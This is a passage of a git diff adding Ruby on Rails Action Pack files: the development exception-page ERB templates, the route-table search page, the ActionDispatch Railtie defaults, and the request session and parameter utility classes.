+  <div id="session_dump" style="display:none"><pre><%= debug_hash @request.session %></pre></div>
+</div>
+
+<div class="details">
+  <div class="summary"><a href="#" onclick="return toggleEnvDump()">Toggle env dump</a></div>
+  <div id="env_dump" style="display:none"><pre><%= debug_hash @request.env.slice(*@request.class::ENV_METHODS) %></pre></div>
+</div>
+
+<h2 style="margin-top: 30px">Response</h2>
+<p><b>Headers</b>:</p> <pre><%= debug_headers(defined?(@response) ? @response.headers : {}) %></pre>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb
new file mode 100644
index 0000000000..396768ecee
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb
@@ -0,0 +1,23 @@
+<%
+  clean_params = @request.filtered_parameters.clone
+  clean_params.delete("action")
+  clean_params.delete("controller")
+
+  request_dump = clean_params.empty? ? 'None' : clean_params.inspect.gsub(',', ",\n")
+
+  def debug_hash(object)
+    object.to_hash.sort_by { |k, _| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
+  end unless self.class.method_defined?(:debug_hash)
+%>
+
+Request parameters
+<%= request_dump %>
+
+Session dump
+<%= debug_hash @request.session %>
+
+Env dump
+<%= debug_hash @request.env.slice(*@request.class::ENV_METHODS) %>
+
+Response headers
+<%= defined?(@response) ? @response.headers.inspect.gsub(',', ",\n") : 'None' %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.html.erb
new file mode 100644
index 0000000000..e7b913bbe4
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.html.erb
@@ -0,0 +1,27 @@
+<% @source_extracts.each_with_index do |source_extract, index| %>
+  <% if source_extract[:code] %>
+    <div class="source <%="hidden" if @show_source_idx != index%>" id="frame-source-<%=index%>">
+      <div class="info">
+        Extracted source (around line <strong>#<%= source_extract[:line_number] %></strong>):
+      </div>
+      <div class="data">
+        <table cellpadding="0" cellspacing="0" class="lines">
+          <tr>
+            <td>
+              <pre class="line_numbers">
+                <% source_extract[:code].each_key do |line_number| %>
+<span><%= line_number -%></span>
+                <% end %>
+              </pre>
+            </td>
+<td width="100%">
+<pre>
+<% source_extract[:code].each do |line, source| -%><div class="line<%= " active" if line == source_extract[:line_number] -%>"><%= source -%></div><% end -%>
+</pre>
+</td>
+          </tr>
+        </table>
+      </div>
+    </div>
+  <% end %>
+<% end %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.text.erb
new file mode 100644
index 0000000000..23a9c7ba3f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.text.erb
@@ -0,0 +1,8 @@
+<% @source_extracts.first(3).each do |source_extract| %>
+<% if source_extract[:code] %>
+Extracted source (around line #<%= source_extract[:line_number] %>):
+
+<% source_extract[:code].each do |line, source| -%>
+<%= line == source_extract[:line_number] ? "*#{line}" : "##{line}" -%> <%= source -%><% end -%>
+<% end %>
+<% end %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
new file mode 100644
index 0000000000..ab57b11c7d
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
@@ -0,0 +1,52 @@
+<% names = @traces.keys %>
+
+<p><code>Rails.root: <%= defined?(Rails) && Rails.respond_to?(:root) ? Rails.root : "unset" %></code></p>
+
+<div id="traces">
+  <% names.each do |name| %>
+    <%
+      show = "show('#{name.gsub(/\s/, '-')}');"
+      hide = (names - [name]).collect {|hide_name| "hide('#{hide_name.gsub(/\s/, '-')}');"}
+    %>
+    <a href="#" onclick="<%= hide.join %><%= show %>; return false;"><%= name %></a> <%= '|' unless names.last == name %>
+  <% end %>
+
+  <% @traces.each do |name, trace| %>
+    <div id="<%= name.gsub(/\s/, '-') %>" style="display: <%= (name == @trace_to_show) ? 'block' : 'none' %>;">
+      <pre><code><% trace.each do |frame| %><a class="trace-frames" data-frame-id="<%= frame[:id] %>" href="#"><%= frame[:trace] %></a><br><% end %></code></pre>
+    </div>
+  <% end %>
+
+  <script type="text/javascript">
+    var traceFrames = document.getElementsByClassName('trace-frames');
+    var selectedFrame, currentSource = document.getElementById('frame-source-0');
+
+    // Add click listeners for all stack frames
+    for (var i = 0; i < traceFrames.length; i++) {
+      traceFrames[i].addEventListener('click', function(e) {
+        e.preventDefault();
+        var target = e.target;
+        var frame_id = target.dataset.frameId;
+
+        if (selectedFrame) {
+          selectedFrame.className = selectedFrame.className.replace("selected", "");
+        }
+
+        target.className += " selected";
+        selectedFrame = target;
+
+        // Change the extracted source code
+        changeSourceExtract(frame_id);
+      });
+
+      function changeSourceExtract(frame_id) {
+        var el = document.getElementById('frame-source-' + frame_id);
+        if (currentSource && el) {
+          currentSource.className += " hidden";
+          el.className = el.className.replace(" hidden", "");
+          currentSource = el;
+        }
+      }
+    }
+  </script>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb
new file mode 100644
index 0000000000..c0b53068f7
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb
@@ -0,0 +1,9 @@
+Rails.root: <%= defined?(Rails) && Rails.respond_to?(:root) ? Rails.root : "unset" %>
+
+<% @traces.each do |name, trace| %>
+<% if trace.any? %>
+<%= name %>
+<%= trace.map { |t| t[:trace] }.join("\n") %>
+
+<% end %>
+<% end %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb
new file mode 100644
index 0000000000..f154021ae6
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb
@@ -0,0 +1,16 @@
+<header>
+  <h1>
+    <%= @exception.class.to_s %>
+    <% if @request.parameters['controller'] %>
+      in <%= @request.parameters['controller'].camelize %>Controller<% if @request.parameters['action'] %>#<%= @request.parameters['action'] %><% end %>
+    <% end %>
+  </h1>
+</header>
+
+<div id="container">
+  <h2><%= h @exception.message %></h2>
+
+  <%= render template: "rescues/_source" %>
+  <%= render template: "rescues/_trace" %>
+  <%= render template: "rescues/_request_and_response" %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb
new file mode 100644
index 0000000000..603de54b8b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb
@@ -0,0 +1,9 @@
+<%= @exception.class.to_s %><%
+  if @request.parameters['controller']
+%> in <%= @request.parameters['controller'].camelize %>Controller<% if @request.parameters['action'] %>#<%= @request.parameters['action'] %><% end %>
+<% end %>
+
+<%= @exception.message %>
+<%= render template: "rescues/_source" %>
+<%= render template: "rescues/_trace" %>
+<%= render template: "rescues/_request_and_response" %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
new file mode 100644
index 0000000000..e0509f56f4
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
@@ -0,0 +1,160 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="utf-8" />
+  <title>Action Controller: Exception caught</title>
+  <style>
+    body {
+      background-color: #FAFAFA;
+      color: #333;
+      margin: 0px;
+    }
+
+    body, p, ol, ul, td {
+      font-family: helvetica, verdana, arial, sans-serif;
+      font-size:   13px;
+      line-height: 18px;
+    }
+
+    pre {
+      font-size: 11px;
+      white-space: pre-wrap;
+    }
+
+    pre.box {
+      border: 1px solid #EEE;
+      padding: 10px;
+      margin: 0px;
+      width: 958px;
+    }
+
+    header {
+      color: #F0F0F0;
+      background: #C52F24;
+      padding: 0.5em 1.5em;
+    }
+
+    h1 {
+      margin: 0.2em 0;
+      line-height: 1.1em;
+      font-size: 2em;
+    }
+
+    h2 {
+      color: #C52F24;
+      line-height: 25px;
+    }
+
+    .details {
+      border: 1px solid #D0D0D0;
+      border-radius: 4px;
+      margin: 1em 0px;
+      display: block;
+      width: 978px;
+    }
+
+    .summary {
+      padding: 8px 15px;
+      border-bottom: 1px solid #D0D0D0;
+      display: block;
+    }
+
+    .details pre {
+      margin: 5px;
+      border: none;
+    }
+
+    #container {
+      box-sizing: border-box;
+      width: 100%;
+      padding: 0 1.5em;
+    }
+
+    .source * {
+      margin: 0px;
+      padding: 0px;
+    }
+
+    .source {
+      border: 1px solid #D9D9D9;
+      background: #ECECEC;
+      width: 978px;
+    }
+
+    .source pre {
+      padding: 10px 0px;
+      border: none;
+    }
+
+    .source .data {
+      font-size: 80%;
+      overflow: auto;
+      background-color: #FFF;
+    }
+
+    .info {
+      padding: 0.5em;
+    }
+
+    .source .data .line_numbers {
+      background-color: #ECECEC;
+      color: #AAA;
+      padding: 1em .5em;
+      border-right: 1px solid #DDD;
+      text-align: right;
+    }
+
+    .line {
+      padding-left: 10px;
+    }
+
+    .line:hover {
+      background-color: #F6F6F6;
+    }
+
+    .line.active {
+      background-color: #FFCCCC;
+    }
+
+    .hidden {
+      display: none;
+    }
+
+    a { color: #980905; }
+    a:visited { color: #666; }
+    a.trace-frames { color: #666; }
+    a:hover { color: #C52F24; }
+    a.trace-frames.selected { color: #C52F24 }
+
+    <%= yield :style %>
+  </style>
+
+  <script>
+    var toggle = function(id) {
+      var s = document.getElementById(id).style;
+      s.display = s.display == 'none' ? 'block' : 'none';
+      return false;
+    }
+    var show = function(id) {
+      document.getElementById(id).style.display = 'block';
+    }
+    var hide = function(id) {
+      document.getElementById(id).style.display = 'none';
+    }
+    var toggleTrace = function() {
+      return toggle('blame_trace');
+    }
+    var toggleSessionDump = function() {
+      return toggle('session_dump');
+    }
+    var toggleEnvDump = function() {
+      return toggle('env_dump');
+    }
+  </script>
+</head>
+<body>
+
+<%= yield %>
+
+</body>
+</html>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
new file mode 100644
index 0000000000..2a65fd06ad
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
@@ -0,0 +1,11 @@
+<header>
+  <h1>Template is missing</h1>
+</header>
+
+<div id="container">
+  <h2><%= h @exception.message %></h2>
+
+  <%= render template: "rescues/_source" %>
+  <%= render template: "rescues/_trace" %>
+  <%= render template: "rescues/_request_and_response" %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb
new file mode 100644
index 0000000000..ae62d9eb02
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb
@@ -0,0 +1,3 @@
+Template is missing
+
+<%= @exception.message %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
new file mode 100644
index 0000000000..55dd5ddc7b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
@@ -0,0 +1,32 @@
+<header>
+  <h1>Routing Error</h1>
+</header>
+<div id="container">
+  <h2><%= h @exception.message %></h2>
+  <% unless @exception.failures.empty? %>
+    <p>
+      <h2>Failure reasons:</h2>
+      <ol>
+      <% @exception.failures.each do |route, reason| %>
+        <li><code><%= route.inspect.delete('\\') %></code> failed because <%= reason.downcase %></li>
+      <% end %>
+      </ol>
+    </p>
+  <% end %>
+
+  <%= render template: "rescues/_trace" %>
+
+  <% if @routes_inspector %>
+    <h2>
+      Routes
+    </h2>
+
+    <p>
+      Routes match in priority from top to bottom
+    </p>
+
+    <%= @routes_inspector.format(ActionDispatch::Routing::HtmlTableFormatter.new(self)) %>
+  <% end %>
+
+  <%= render template: "rescues/_request_and_response" %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb
new file mode 100644
index 0000000000..f6e4dac1f3
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb
@@ -0,0 +1,11 @@
+Routing Error
+
+<%= @exception.message %>
+<% unless @exception.failures.empty? %>
+Failure reasons:
+<% @exception.failures.each do |route, reason| %>
+  - <%= route.inspect.delete('\\') %></code> failed because <%= reason.downcase %>
+<% end %>
+<% end %>
+
+<%= render template: "rescues/_trace", format: :text %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
new file mode 100644
index 0000000000..5060da9369
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
@@ -0,0 +1,20 @@
+<header>
+  <h1>
+    <%= @exception.cause.class.to_s %> in
+    <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %>
+  </h1>
+</header>
+
+<div id="container">
+  <p>
+    Showing <i><%= @exception.file_name %></i> where line <b>#<%= @exception.line_number %></b> raised:
+  </p>
+  <pre><code><%= h @exception.message %></code></pre>
+
+  <%= render template: "rescues/_source" %>
+
+  <p><%= @exception.sub_template_message %></p>
+
+  <%= render template: "rescues/_trace" %>
+  <%= render template: "rescues/_request_and_response" %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb
new file mode 100644
index 0000000000..78d52acd96
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb
@@ -0,0 +1,7 @@
+<%= @exception.cause.class.to_s %> in <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %>
+
+Showing <%= @exception.file_name %> where line #<%= @exception.line_number %> raised:
+<%= @exception.message %>
+<%= @exception.sub_template_message %>
+<%= render template: "rescues/_trace", format: :text %>
+<%= render template: "rescues/_request_and_response", format: :text %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb
new file mode 100644
index 0000000000..259fb2bb3b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb
@@ -0,0 +1,6 @@
+<header>
+  <h1>Unknown action</h1>
+</header>
+<div id="container">
+  <h2><%= h @exception.message %></h2>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb
new file mode 100644
index 0000000000..83973addcb
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb
@@ -0,0 +1,3 @@
+Unknown action
+
+<%= @exception.message %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb b/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb
new file mode 100644
index 0000000000..6e995c85c1
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb
@@ -0,0 +1,16 @@
+<tr class='route_row' data-helper='path'>
+  <td data-route-name='<%= route[:name] %>'>
+    <% if route[:name].present? %>
+      <%= route[:name] %><span class='helper'>_path</span>
+    <% end %>
+  </td>
+  <td>
+    <%= route[:verb] %>
+  </td>
+  <td data-route-path='<%= route[:path] %>'>
+    <%= route[:path] %>
+  </td>
+  <td>
+    <%=simple_format route[:reqs] %>
+  </td>
+</tr>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
new file mode 100644
index 0000000000..1fa0691303
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
@@ -0,0 +1,200 @@
+<% content_for :style do %>
+  #route_table {
+    margin: 0;
+    border-collapse: collapse;
+  }
+
+  #route_table thead tr {
+    border-bottom: 2px solid #ddd;
+  }
+
+  #route_table thead tr.bottom {
+    border-bottom: none;
+  }
+
+  #route_table thead tr.bottom th {
+    padding: 10px 0;
+    line-height: 15px;
+  }
+
+  #route_table thead tr.bottom th input#search {
+    -webkit-appearance: textfield;
+  }
+
+  #route_table tbody tr {
+    border-bottom: 1px solid #ddd;
+  }
+
+  #route_table tbody tr:nth-child(odd) {
+    background: #f2f2f2;
+  }
+
+  #route_table tbody.exact_matches,
+  #route_table tbody.fuzzy_matches {
+    background-color: LightGoldenRodYellow;
+    border-bottom: solid 2px SlateGrey;
+  }
+
+  #route_table tbody.exact_matches tr,
+  #route_table tbody.fuzzy_matches tr {
+    background: none;
+    border-bottom: none;
+  }
+
+  #route_table td {
+    padding: 4px 30px;
+  }
+
+  #path_search {
+    width: 80%;
+    font-size: inherit;
+  }
+<% end %>
+
+<table id='route_table' class='route_table'>
+  <thead>
+    <tr>
+      <th>Helper</th>
+      <th>HTTP Verb</th>
+      <th>Path</th>
+      <th>Controller#Action</th>
+    </tr>
+    <tr class='bottom'>
+      <th><%# Helper %>
+        <%= link_to "Path", "#", 'data-route-helper' => '_path',
+                    title: "Returns a relative path (without the http or domain)" %> /
+        <%= link_to "Url", "#", 'data-route-helper' => '_url',
+                    title: "Returns an absolute URL (with the http and domain)"   %>
+      </th>
+      <th><%# HTTP Verb %>
+      </th>
+      <th><%# Path %>
+        <%= search_field(:path, nil, id: 'search', placeholder: "Path Match") %>
+      </th>
+      <th><%# Controller#action %>
+      </th>
+    </tr>
+  </thead>
+  <tbody class='exact_matches' id='exact_matches'>
+  </tbody>
+  <tbody class='fuzzy_matches' id='fuzzy_matches'>
+  </tbody>
+  <tbody>
+    <%= yield %>
+  </tbody>
+</table>
+
+<script type='text/javascript'>
+  // support forEarch iterator on NodeList
+  NodeList.prototype.forEach = Array.prototype.forEach;
+
+  // Enables path search functionality
+  function setupMatchPaths() {
+    // Check if there are any matched results in a section
+    function checkNoMatch(section, noMatchText) {
+      if (section.children.length <= 1) {
+        section.innerHTML += noMatchText;
+      }
+    }
+
+    // get JSON from URL and invoke callback with result
+    function getJSON(url, success) {
+      var xhr = new XMLHttpRequest();
+      xhr.open('GET', url);
+      xhr.onload = function() {
+        if (this.status == 200)
+          success(JSON.parse(this.response));
+      };
+      xhr.send();
+    }
+
+    function delayedKeyup(input, callback) {
+      var timeout;
+      input.onkeyup = function(){
+        if (timeout) clearTimeout(timeout);
+        timeout = setTimeout(callback, 300);
+      }
+    }
+
+    // remove params or fragments
+    function sanitizePath(path) {
+      return path.replace(/[#?].*/, '');
+    }
+
+    var pathElements = document.querySelectorAll('#route_table [data-route-path]'),
+        searchElem   = document.querySelector('#search'),
+        exactSection = document.querySelector('#exact_matches'),
+        fuzzySection = document.querySelector('#fuzzy_matches');
+
+    // Remove matches when no search value is present
+    searchElem.onblur = function(e) {
+      if (searchElem.value === "") {
+        exactSection.innerHTML = "";
+        fuzzySection.innerHTML = "";
+      }
+    }
+
+    // On key press perform a search for matching paths
+    delayedKeyup(searchElem, function() {
+      var path = sanitizePath(searchElem.value),
+          defaultExactMatch = '<tr><th colspan="4">Paths Matching (' + path +'):</th></tr>',
+          defaultFuzzyMatch = '<tr><th colspan="4">Paths Containing (' + path +'):</th></tr>',
+          noExactMatch      = '<tr><th colspan="4">No Exact Matches Found</th></tr>',
+          noFuzzyMatch      = '<tr><th colspan="4">No Fuzzy Matches Found</th></tr>';
+
+      if (!path)
+        return searchElem.onblur();
+
+      getJSON('/rails/info/routes?path=' + path, function(matches){
+        // Clear out results section
+        exactSection.innerHTML = defaultExactMatch;
+        fuzzySection.innerHTML = defaultFuzzyMatch;
+
+        // Display exact matches and fuzzy matches
+        pathElements.forEach(function(elem) {
+          var elemPath = elem.getAttribute('data-route-path');
+
+          if (matches['exact'].indexOf(elemPath) != -1)
+            exactSection.appendChild(elem.parentNode.cloneNode(true));
+
+          if (matches['fuzzy'].indexOf(elemPath) != -1)
+            fuzzySection.appendChild(elem.parentNode.cloneNode(true));
+        })
+
+        // Display 'No Matches' message when no matches are found
+        checkNoMatch(exactSection, noExactMatch);
+        checkNoMatch(fuzzySection, noFuzzyMatch);
+      })
+    })
+  }
+
+  // Enables functionality to toggle between `_path` and `_url` helper suffixes
+  function setupRouteToggleHelperLinks() {
+
+    // Sets content for each element
+    function setValOn(elems, val) {
+      elems.forEach(function(elem) {
+        elem.innerHTML = val;
+      });
+    }
+
+    // Sets onClick event for each element
+    function onClick(elems, func) {
+      elems.forEach(function(elem) {
+        elem.onclick = func;
+      });
+    }
+
+    var toggleLinks = document.querySelectorAll('#route_table [data-route-helper]');
+
+    onClick(toggleLinks, function(){
+      var helperTxt   = this.getAttribute("data-route-helper"),
+          helperElems = document.querySelectorAll('[data-route-name] span.helper');
+
+      setValOn(helperElems, helperTxt);
+    });
+  }
+
+  setupMatchPaths();
+  setupRouteToggleHelperLinks();
+</script>
diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb
new file mode 100644
index 0000000000..4743a7ce61
--- /dev/null
+++ b/actionpack/lib/action_dispatch/railtie.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "action_dispatch"
+
+module ActionDispatch
+  class Railtie < Rails::Railtie # :nodoc:
+    config.action_dispatch = ActiveSupport::OrderedOptions.new
+    config.action_dispatch.x_sendfile_header = nil
+    config.action_dispatch.ip_spoofing_check = true
+    config.action_dispatch.show_exceptions = true
+    config.action_dispatch.tld_length = 1
+    config.action_dispatch.ignore_accept_header = false
+    config.action_dispatch.rescue_templates = {}
+    config.action_dispatch.rescue_responses = {}
+    config.action_dispatch.default_charset = nil
+    config.action_dispatch.rack_cache = false
+    config.action_dispatch.http_auth_salt = "http authentication"
+    config.action_dispatch.signed_cookie_salt = "signed cookie"
+    config.action_dispatch.encrypted_cookie_salt = "encrypted cookie"
+    config.action_dispatch.encrypted_signed_cookie_salt = "signed encrypted cookie"
+    config.action_dispatch.use_authenticated_cookie_encryption = false
+    config.action_dispatch.perform_deep_munge = true
+
+    config.action_dispatch.default_headers = {
+      "X-Frame-Options" => "SAMEORIGIN",
+      "X-XSS-Protection" => "1; mode=block",
+      "X-Content-Type-Options" => "nosniff"
+    }
+
+    config.eager_load_namespaces << ActionDispatch
+
+    initializer "action_dispatch.configure" do |app|
+      ActionDispatch::Http::URL.tld_length = app.config.action_dispatch.tld_length
+      ActionDispatch::Request.ignore_accept_header = app.config.action_dispatch.ignore_accept_header
+      ActionDispatch::Request::Utils.perform_deep_munge = app.config.action_dispatch.perform_deep_munge
+      ActionDispatch::Response.default_charset = app.config.action_dispatch.default_charset || app.config.encoding
+      ActionDispatch::Response.default_headers = app.config.action_dispatch.default_headers
+
+      ActionDispatch::ExceptionWrapper.rescue_responses.merge!(config.action_dispatch.rescue_responses)
+      ActionDispatch::ExceptionWrapper.rescue_templates.merge!(config.action_dispatch.rescue_templates)
+
+      config.action_dispatch.authenticated_encrypted_cookie_salt = "authenticated encrypted cookie" if config.action_dispatch.use_authenticated_cookie_encryption
+
+      config.action_dispatch.always_write_cookie = Rails.env.development? if config.action_dispatch.always_write_cookie.nil?
+      ActionDispatch::Cookies::CookieJar.always_write_cookie = config.action_dispatch.always_write_cookie
+
+      ActionDispatch.test_app = app
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/request/session.rb b/actionpack/lib/action_dispatch/request/session.rb
new file mode 100644
index 0000000000..d86d0b10c2
--- /dev/null
+++ b/actionpack/lib/action_dispatch/request/session.rb
@@ -0,0 +1,233 @@
+# frozen_string_literal: true
+
+require "rack/session/abstract/id"
+
+module ActionDispatch
+  class Request
+    # Session is responsible for lazily loading the session from store.
+    class Session # :nodoc:
+      ENV_SESSION_KEY         = Rack::RACK_SESSION # :nodoc:
+      ENV_SESSION_OPTIONS_KEY = Rack::RACK_SESSION_OPTIONS # :nodoc:
+
+      # Singleton object used to determine if an optional param wasn't specified.
+      Unspecified = Object.new
+
+      # Creates a session hash, merging the properties of the previous session if any.
+      def self.create(store, req, default_options)
+        session_was = find req
+        session     = Request::Session.new(store, req)
+        session.merge! session_was if session_was
+
+        set(req, session)
+        Options.set(req, Request::Session::Options.new(store, default_options))
+        session
+      end
+
+      def self.find(req)
+        req.get_header ENV_SESSION_KEY
+      end
+
+      def self.set(req, session)
+        req.set_header ENV_SESSION_KEY, session
+      end
+
+      class Options #:nodoc:
+        def self.set(req, options)
+          req.set_header ENV_SESSION_OPTIONS_KEY, options
+        end
+
+        def self.find(req)
+          req.get_header ENV_SESSION_OPTIONS_KEY
+        end
+
+        def initialize(by, default_options)
+          @by       = by
+          @delegate = default_options.dup
+        end
+
+        def [](key)
+          @delegate[key]
+        end
+
+        def id(req)
+          @delegate.fetch(:id) {
+            @by.send(:extract_session_id, req)
+          }
+        end
+
+        def []=(k, v);        @delegate[k] = v; end
+        def to_hash;          @delegate.dup; end
+        def values_at(*args); @delegate.values_at(*args); end
+      end
+
+      def initialize(by, req)
+        @by       = by
+        @req      = req
+        @delegate = {}
+        @loaded   = false
+        @exists   = nil # We haven't checked yet.
+      end
+
+      def id
+        options.id(@req)
+      end
+
+      def options
+        Options.find @req
+      end
+
+      def destroy
+        clear
+        options = self.options || {}
+        @by.send(:delete_session, @req, options.id(@req), options)
+
+        # Load the new sid to be written with the response.
+        @loaded = false
+        load_for_write!
+      end
+
+      # Returns value of the key stored in the session or
+      # +nil+ if the given key is not found in the session.
+      def [](key)
+        load_for_read!
+        @delegate[key.to_s]
+      end
+
+      # Returns true if the session has the given key or false.
+      def has_key?(key)
+        load_for_read!
+        @delegate.key?(key.to_s)
+      end
+      alias :key? :has_key?
+      alias :include? :has_key?
+
+      # Returns keys of the session as Array.
+      def keys
+        load_for_read!
+        @delegate.keys
+      end
+
+      # Returns values of the session as Array.
+      def values
+        load_for_read!
+        @delegate.values
+      end
+
+      # Writes given value to given key of the session.
+      def []=(key, value)
+        load_for_write!
+        @delegate[key.to_s] = value
+      end
+
+      # Clears the session.
+      def clear
+        load_for_write!
+        @delegate.clear
+      end
+
+      # Returns the session as Hash.
+      def to_hash
+        load_for_read!
+        @delegate.dup.delete_if { |_, v| v.nil? }
+      end
+
+      # Updates the session with given Hash.
+      #
+      #   session.to_hash
+      #   # => {"session_id"=>"e29b9ea315edf98aad94cc78c34cc9b2"}
+      #
+      #   session.update({ "foo" => "bar" })
+      #   # => {"session_id"=>"e29b9ea315edf98aad94cc78c34cc9b2", "foo" => "bar"}
+      #
+      #   session.to_hash
+      #   # => {"session_id"=>"e29b9ea315edf98aad94cc78c34cc9b2", "foo" => "bar"}
+      def update(hash)
+        load_for_write!
+        @delegate.update stringify_keys(hash)
+      end
+
+      # Deletes given key from the session.
+      def delete(key)
+        load_for_write!
+        @delegate.delete key.to_s
+      end
+
+      # Returns value of the given key from the session, or raises +KeyError+
+      # if can't find the given key and no default value is set.
+      # Returns default value if specified.
+      #
+      #   session.fetch(:foo)
+      #   # => KeyError: key not found: "foo"
+      #
+      #   session.fetch(:foo, :bar)
+      #   # => :bar
+      #
+      #   session.fetch(:foo) do
+      #     :bar
+      #   end
+      #   # => :bar
+      def fetch(key, default = Unspecified, &block)
+        load_for_read!
+        if default == Unspecified
+          @delegate.fetch(key.to_s, &block)
+        else
+          @delegate.fetch(key.to_s, default, &block)
+        end
+      end
+
+      def inspect
+        if loaded?
+          super
+        else
+          "#<#{self.class}:0x#{(object_id << 1).to_s(16)} not yet loaded>"
+        end
+      end
+
+      def exists?
+        return @exists unless @exists.nil?
+        @exists = @by.send(:session_exists?, @req)
+      end
+
+      def loaded?
+        @loaded
+      end
+
+      def empty?
+        load_for_read!
+        @delegate.empty?
+      end
+
+      def merge!(other)
+        load_for_write!
+        @delegate.merge!(other)
+      end
+
+      def each(&block)
+        to_hash.each(&block)
+      end
+
+      private
+
+        def load_for_read!
+          load! if !loaded? && exists?
+        end
+
+        def load_for_write!
+          load! unless loaded?
+        end
+
+        def load!
+          id, session = @by.load_session @req
+          options[:id] = id
+          @delegate.replace(stringify_keys(session))
+          @loaded = true
+        end
+
+        def stringify_keys(other)
+          other.each_with_object({}) { |(key, value), hash|
+            hash[key.to_s] = value
+          }
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/request/utils.rb b/actionpack/lib/action_dispatch/request/utils.rb
new file mode 100644
index 0000000000..0ae464082d
--- /dev/null
+++ b/actionpack/lib/action_dispatch/request/utils.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  class Request
+    class Utils # :nodoc:
+      mattr_accessor :perform_deep_munge, default: true
+
+      def self.each_param_value(params, &block)
+        case params
+        when Array
+          params.each { |element| each_param_value(element, &block) }
+        when Hash
+          params.each_value { |value| each_param_value(value, &block) }
+        when String
+          block.call params
+        end
+      end
+
+      def self.normalize_encode_params(params)
+        if perform_deep_munge
+          NoNilParamEncoder.normalize_encode_params params
+        else
+          ParamEncoder.normalize_encode_params params
+        end
+      end
+
+      def self.check_param_encoding(params)
+        case params
+        when Array
+          params.each { |element| check_param_encoding(element) }
+        when Hash
+          params.each_value { |value| check_param_encoding(value) }
+        when String
+          unless params.valid_encoding?
+            # Raise Rack::Utils::InvalidParameterError for consistency with Rack.
